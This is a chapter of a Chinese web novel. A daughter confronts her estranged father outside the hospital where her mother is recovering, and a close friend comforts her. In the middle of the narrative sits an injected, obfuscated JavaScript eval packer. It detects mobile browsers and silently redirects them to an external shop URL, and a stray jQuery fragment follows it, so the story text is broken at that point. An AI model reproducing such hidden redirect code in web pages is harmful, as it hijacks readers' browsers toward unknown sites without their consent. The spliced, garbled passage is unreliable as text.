单人病房里弥漫着刺鼻的消毒水味,仪器的滴滴声回旋在耳边。
闻铃抓着江沁华的手一动不动的坐在椅子上。
医生看了眼心电监护仪后,调慢输液速度对她说:“心率已经平稳下来了,家属今晚辛苦一下,时刻注意患者情况,有问题及时找医护人员。”
闻铃没有回答,她的注意力全在江沁华怎么捂也捂不暖的手上。
为什么冷的像冰块?
她慌张地把紧握的双手放进被子,却也无济于事。
“闻……”祁之茜哽咽,抬手掩住嘴巴,不忍再看。
“好,谢谢。”祁风漾替闻铃道谢,掀开被子的一个小角,把刚刚灌好的胶皮热水袋盖在闻铃的手背上,送医生出了房门。
闻录看到祁风漾出来,立即起身询问,“小风,你阿姨她怎么样?”他仿佛一夜之间老了10岁,发出的声音就像沙沙作响的老式风箱。
干哑,枯涩。
祁风漾面色冷峻地斜睨他一眼,面对这个自私的男人,真没可对他说的。他从兜里翻出一盒烟丢给闻录,“出去抽根烟,然后别再回来。”
“咔哒”,病房门从内被推开。
闻铃仰头对祁风漾说:“你帮我看着里面,我出去一会。”
“好。”祁风漾揉了揉她红肿的眼眶,“有事给我打电话。”
“知道。”闻铃歪头蹭蹭用脸颊蹭蹭祁风漾温热的掌心。
此刻她也不再顾及旁人,不再隐藏真心,大胆释放她眷恋的情绪。
如果不这样做,她觉得自己今晚会撑不下去。
闻铃最后看了眼祁风漾后,目不斜视地跟闻录擦身而过,朝医院外走去。
闻录愣在原地两秒,抬腿跟上。
夜晚的医院,闻铃不是第一次来。但这次比任何一次的感官都要更加清晰。
路灯下,闻铃被昏黄的灯光包围,灯圈外是无边的黑暗。
她在陪江沁华住院的时间里,见到了太多的迎来送往,每天提心吊胆,生怕江沁华哪一天也会离开她的身边。那个时候还会幻想,假如闻录还在身边,她会不会不用那么累。
如今闻录真的坐在她身边,跟她之前一个人时,并未有任何差别。
本是酷暑时节,却还是如同身处冰窖,阴冷异常。
只是这些感受,旁边翘着二郎腿,吞云吐雾的人应该永远不会察觉。
“你还回来,是想要做什么?”就算她已经把这件事猜了个七七八八,她也想听闻录亲口说。
闻录掐灭烟头,抹了把脸,对闻铃说:“我之前已经说的很清楚了,我想弥补你们。有几个男人年轻时会不犯错,你要给爸爸一个机会,是不是。如果不是你今天这么一吵,你妈不至于晕倒。”
闻铃冷眼看他,怎么会有人把自己的错误轻描淡写的掠过,甚至还能倒打一耙,“你是不是想说是我斤斤计较,不近人情,甚至还大逆不道?”
“啧……你看看你这孩子,我真没这么想,你把所有事情想太严重了。”
严重?闻铃想:对于闻录来说,他自私自利,临阵脱逃的各种行为应该让她当作什么都没发生吗?
难道应该毫无芥蒂,坐在一起开开心心包饺子吗?
“你走之后,家里一分钱不剩,我的学费、生活费、画画的材料费,你知道都怎么来的吗?”闻铃自顾自地继续说:“妈妈每天上完班,晚上还会出去摆摊;而我除了上课的时间,其余时间都在打工。”
艺术这条路,走起来根本没不轻松,对普通家庭的人来说更是。就算她是以专业课,文化课成绩第一的成绩考上的大学,学校也没给她开多少绿灯。而她又走的是纯艺专业,高昂的颜料费这一项就足矣压垮她和江沁华的家庭。
“我用过别人丢在垃圾桶里的颜料,捡过别人用过的油画框,吃过室友给的剩饭…….”
闻铃一一细数着曾经发生过的事情,倒不是她觉得这些事有多么重要,她的情况也不是美术学院的个例。只不过她想让闻录知道,是谁在替他过他本该共同承受的生活。
闻录满脸震惊,嘴唇发抖,“别说了——”
“再后来我就工作了,工作还没两年呢,妈妈就被查出心脏有问题,急需做手术。然后又开始新一段借钱,还钱的生活。”闻铃自嘲地笑了一下,“哦,对了,我今年27了你应该不清楚吧。”
人生刚刚起步的阶段,她没有一天为自己活过。
“你说我想的严重,只有你……爸爸……只有你,没有资格说这句话。”你有很多机会弥补,可你偏偏选择在我已经不需要的时候出现,闻铃漠然地看向闻录。
他浑浊的眼眶中留下两行泪,其中包含有几分真恐怕只有他自己才知道。
“对不起……对不起……”闻录双手掩面,不断重复这三个字。是他一次又一次的的选择,把他的亲生女儿越推越远。
“你走吧,如果你真想弥补我们,就不要再出现我们面前。”闻铃站起身,背对闻录对他说了最后一句话,“爸爸,我祝你以后的生活阖家幸福,子孙满堂,颐养天年。”说完,她抬腿走入黑暗当中,把唯一的灯光留给身后的人。
闻铃顺着来时的小路往回走,解决了一桩事情,心里顿觉十分轻松,脚步轻快,根本没注意前面站着一个人,迎头撞了上去。
她刚想张口道歉,就被裹进一个带着柠檬薄荷香的怀抱中。
不用去看,她就知道是谁。
闻铃老老实实地站在原地,自觉当一个不会动的玩偶小人,“不是让你帮忙看着我妈妈,出来干吗?”
“不知道。”祁风漾下巴搁在闻铃的脑袋上,声音闷闷的,“我妈看着,不用担心。”
她当然知道,只是这里离刚才和闻录讲话的地方不远,不知道他什么时候到的,又听到了多少谈话的内容。
“你都听到了?”闻铃试探性发问。
“不知道。”
“听到多少?”
“不知道。”
“……”真好,一问三不知,改天小学开学,可以重新给他报个名,闻铃笑了笑:“那你知道什么?”
祁风漾双手更加用力,把闻铃使劲箍在怀里,“心疼。”
闻铃现在对于心脏,心疼,心悸等一类的名词很敏感,她抬手攥住祁风漾的袖子,担忧地问:“很疼吗?要不要看医生?叫你不要熬夜赶稿子你不听。”她想扯开祁风漾扣在自己腰上的手臂,看看他的状态,结果半天没有撼动分毫。
江沁华的病就是一开始没注意,结果越拖越严重。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035590|135084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
闻铃有些恼怒,踮起脚尖把脑袋往上顶,“祁风漾,你别闹!有病尽快发现尽早治疗。”
“你之后发生任何事情都要告诉我,不能隐瞒,那样我就不会疼。”
看来是都听到了。
大学时候发生的所有事情,闻铃根本没想过让除了闻录以外的人知道。
当时存下来的钱,在江沁华生病的时候,填上一部分手术费。所以她没觉得那个时候发生的所有事情都是痛苦的,反而她还认为自己很幸运。
“……你别多想,有没有可能我是故意讲给他听。”
“答应我。”
祁风漾完全不听她的解释,环住她的双手更加用力,有种不达目的决不罢休的意味。
架在闻铃头上的脑袋埋到她的颈侧。
越来越像狗了,闻铃心想。
真不知道他这个样子到底是浓厚的战友情还是其他。
“知道了,知——”闻铃敷衍的声音突然噎住,她感觉脖子上有温热的液体从她的锁骨流入更深处。
“不会再让你翻垃圾桶,不会让你吃剩饭不会再让你过那种日子……你值得最好的,我会给你最好的,你相信我…….”祁风漾喃喃自语。
闻铃把他后背的衣服紧紧地攥进手心。
“嗯,我知道。”
-
躺在病床上的人,无意识地动了下身子。
床铺发出“咯吱咯吱”的声音,在寂静的病房里显得格外刺耳。
闻铃猛然惊醒,她忽地坐起身,看到了已经半眯着眼睛,悠悠转醒的江沁华。
“妈妈!没事啊没事,别害怕,我叫医生。”闻铃按下呼叫器。
她的动静,也吵醒了其他两人。
祁之茜倏地跑到江沁华身边,摸着她的额头,小声询问:“沁华!你醒了?有没有哪里还觉得不舒服,你跟我说啊。”
“没……有……别哭。”江沁华逐渐恢复意识,反应过来自己在哪之后,才断断续续的开口。
祁之茜这才发现自己的泪水打湿了江沁华耳边的头发,她边哭边笑地抽出一张纸,擦干发丝和枕头上的水迹。
“我哭屁啊,没哭!”
-
医生检查完没什么大碍,叮嘱江沁华不能再频繁动怒后,就走出了房门。
屋内瞬间安静下来,只有轻微的机器声。
“阿姨,我跟我妈妈去买点吃的。”祁风漾对祁之茜使了个眼色。
祁之茜立即心领神会,拍了下手,“对,儿子说的对。我早就饿了,担惊受怕一晚上,可得吃点好的。”她笑着挽上祁风漾的胳膊,推门出去。
剩下的闻铃低头坐在椅子上,不知道再想什么。
“我——”
“你——”
这种情况下。也没必要这么有默契。
闻铃眨了眨眼,说:“你先说。”
“我想坐起来。”
“哦。”
她做这活,简直是驾轻就熟。
闻铃起身把床摇到合适的高度,然后又从沙发上拿了个枕头垫在江沁华身后,“可以吗?”
“嗯。”江沁华点了下头,又给自己调整了一个舒服的坐姿,说出一句让闻铃当场呆愣在原地的话。
“你辞职了。”